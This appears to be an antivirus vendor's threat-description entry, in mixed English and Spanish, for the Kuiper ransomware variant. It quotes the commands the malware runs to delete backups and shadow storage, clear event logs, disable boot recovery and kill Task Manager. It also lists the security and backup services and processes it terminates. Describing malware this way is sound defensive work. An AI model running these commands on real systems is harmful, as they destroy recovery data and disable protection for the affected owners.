Ransom.Win32.KUIPER.THAAHBC

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Agrega los procesos siguientes:

• cmd.exe /c "vssadmin resize shadowstorage /for={Drives A-Z}: /on=C: /maxsize=401MB"
• cmd.exe /c "wevtutil cl application"
• cmd.exe /c "wbadmin delete catalog -quiet"
• cmd.exe /c "bcdedit /set {default} recoveryenabled No"
• cmd.exe /c "wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest"
• cmd.exe /c "wevtutil cl securit"
• cmd.exe /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"
• cmd.exe /c "wbadmin DELETE SYSTEMSTATEBACKUP"
• cmd.exe /c "wevtutil cl system"
• cmd.exe /c "powershell.exe -ep bypass -ec {Base64-encoded powershell script}"
  The following processes will spawned as a result of this command:
  • powershell.exe -ep bypass -w hidden -c "while($true){ taskkill /f /im taskkill.exe}"
  • powershell.exe -ep bypass -w hidden -c "while($true){ taskkill /f /im tasklist.exe}"
  • powershell.exe -ep bypass -w hidden -c "while($true){ taskkill /f /im taskmgr.exe}"
  • powershell.exe -ep bypass -w hidden -c "while($true){ taskkill /f /im cmd.exe}"
  • powershell.exe -ep bypass -w hidden -c "while($true){ taskkill /f /im ps.exe}"
• cmd.exe /c taskkill /f /im {Process name from Termination list}
• cmd.exe /c net stop {Service name from Termination list} /y
• cmd.exe /c "shutdown /r /t 8"
• cmd.exe /c "reboot"

Finalización del proceso

Finaliza los servicios siguientes si los detecta en el sistema afectado:

• via net stop:
  • Avast Antivirus!
  • TMResponse
  • BackupExecAgentBrowser
  • AOTAgentSvc
  • TMBMServer
  • iVPAgent
  • Trend Micro
  • Web Service Communicator
  • Tmccst
  • Tmlisten
  • Ntrtscan
  • TmWSCSvc

Finaliza los procesos siguientes si detecta que se ejecutan en la memoria del sistema afectado:

• via taskkill /f /im:
  • AOTAgent.exe
  • CETASvc.exe
  • powerpnt.exe
  • iVPAgent.exe
  • tmwscsvc.exe
  • ResponseService.exe
  • PccNTMon.exe
  • SupportConnector.exe
  • vastsvc.exe
  • avgsvc.exe
  • NortonSecurity.exe
  • McAfeeFramework.exe
  • KasperskyService.exe
  • SophosSAU.exe

Otros detalles

Hace lo siguiente:

• It prints the number of processors and execution logs to the console.
  
• It checks if the file size is greater than 198, 180, 854 bytes. These files will be partially encrypted for faster encryption.
• It checks if the file extension is any of the following. These files will be encrypted in its entirety regardless of the file size.
  • .sql
  • .txt
  • .db
  • .json